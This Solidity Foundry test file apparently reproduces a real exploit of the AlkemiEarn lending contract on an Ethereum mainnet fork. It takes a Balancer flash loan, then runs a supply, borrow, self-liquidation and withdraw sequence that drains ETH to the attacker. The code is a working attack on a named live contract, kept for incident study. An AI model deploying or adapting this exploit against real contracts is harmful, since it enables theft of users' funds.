src/test/2026-03/AlkemiEarn_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 43.45 ETH
8// Attacker : https://etherscan.io/address/0x0ed1c01b8420a965d7bd2374db02896464c91cd7
9// Attack Contract : https://etherscan.io/address/0xE408b52AEfB27A2FB4f1cD760A76DAa4BF23794B
10// Vulnerable Contract : https://etherscan.io/address/0x4822D9172e5b76b9Db37B75f5552F9988F98a888
11// Attack Tx : https://skylens.certik.com/tx/eth/0xa17001eb39f867b8bed850de9107018a2d2503f95f15e4dceb7d68fff5ef6d9d?active_tab=events
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x4822D9172e5b76b9Db37B75f5552F9988F98a888#code
15 
16// @Analysis
17// Post-mortem : https://x.com/blockaid_/status/2031351883470676048?s=20
18// Twitter Guy : https://x.com/blockaid_
19 
20pragma solidity ^0.8.0;
21 
22contract AlkemiEarn_exp is BaseTestWithBalanceLog {
23    uint256 blocknumToForkFrom = 24626979 - 1;
24    address attacker = makeAddr("attacker");
25    address victim = 0x4822D9172e5b76b9Db37B75f5552F9988F98a888;
26    IAlkemiEarn victimContract = IAlkemiEarn(victim);
27 
28    function setUp() public {
29        vm.createSelectFork("mainnet", blocknumToForkFrom);
30    }
31 
32    function testExploit() public balanceLog2(attacker) {
33        vm.startPrank(attacker);
34        Attacker attacker = new Attacker();
35        attacker.attack();
36        vm.stopPrank();
37 
38    }
39}
40 
41contract Attacker {
42 
43    IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
44    IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
45    address victim = 0x4822D9172e5b76b9Db37B75f5552F9988F98a888;
46    IAlkemiEarn victimContract = IAlkemiEarn(victim);
47    address attacker;
48    address aweth = 0x8125afd067094cD573255f82795339b9fe2A40ab;
49 
50 
51    function attack() public {
52        attacker = msg.sender;
53        address[] memory tokens = new address[](1);
54        tokens[0] = address(weth);
55        uint256[] memory amounts = new uint256[](1);
56        amounts[0] = 51 ether;
57        bytes memory userData = "";
58        vault.flashLoan(address(this), tokens, amounts, userData);
59    }
60 
61    function receiveFlashLoan(
62        address[] memory tokens,
63        uint256[] memory amounts,
64        uint256[] memory feeAmounts,
65        bytes memory userData
66    ) external {
67        weth.withdraw(amounts[0]);
68        victimContract.supply{value: 50 ether}( aweth, 50 ether);
69        victimContract.borrow(aweth, 39.5 ether);
70        uint256 amount = victimContract.getBorrowBalance(address(this), aweth);
71        console2.log("amount: ", amount);
72        console2.log("balance of eth: ", address(this).balance);
73        victimContract.liquidateBorrow{value: amount}(address(this), aweth, aweth, amount);
74        victimContract.withdraw(aweth, type(uint256).max);
75        weth.deposit{value: 51 ether}();
76        weth.transfer(address(vault), amounts[0] + feeAmounts[0]);
77        console2.log("balance of eth: ", address(this).balance);
78        TransferHelper.safeTransferETH( attacker, address(this).balance);
79    }
80 
81    fallback() external payable {}
82}
83 
84interface IAlkemiEarn {
85    function supply(address token, uint256 amount) external payable;
86    function borrow(address token, uint256 amount) external;
87    function getBorrowBalance(address user, address token) external view returns (uint256);
88    function liquidateBorrow(address borrower, address borrow, address collateral, uint256 amountClose) external payable;
89    function withdraw(address token, uint256 amount) external;
90}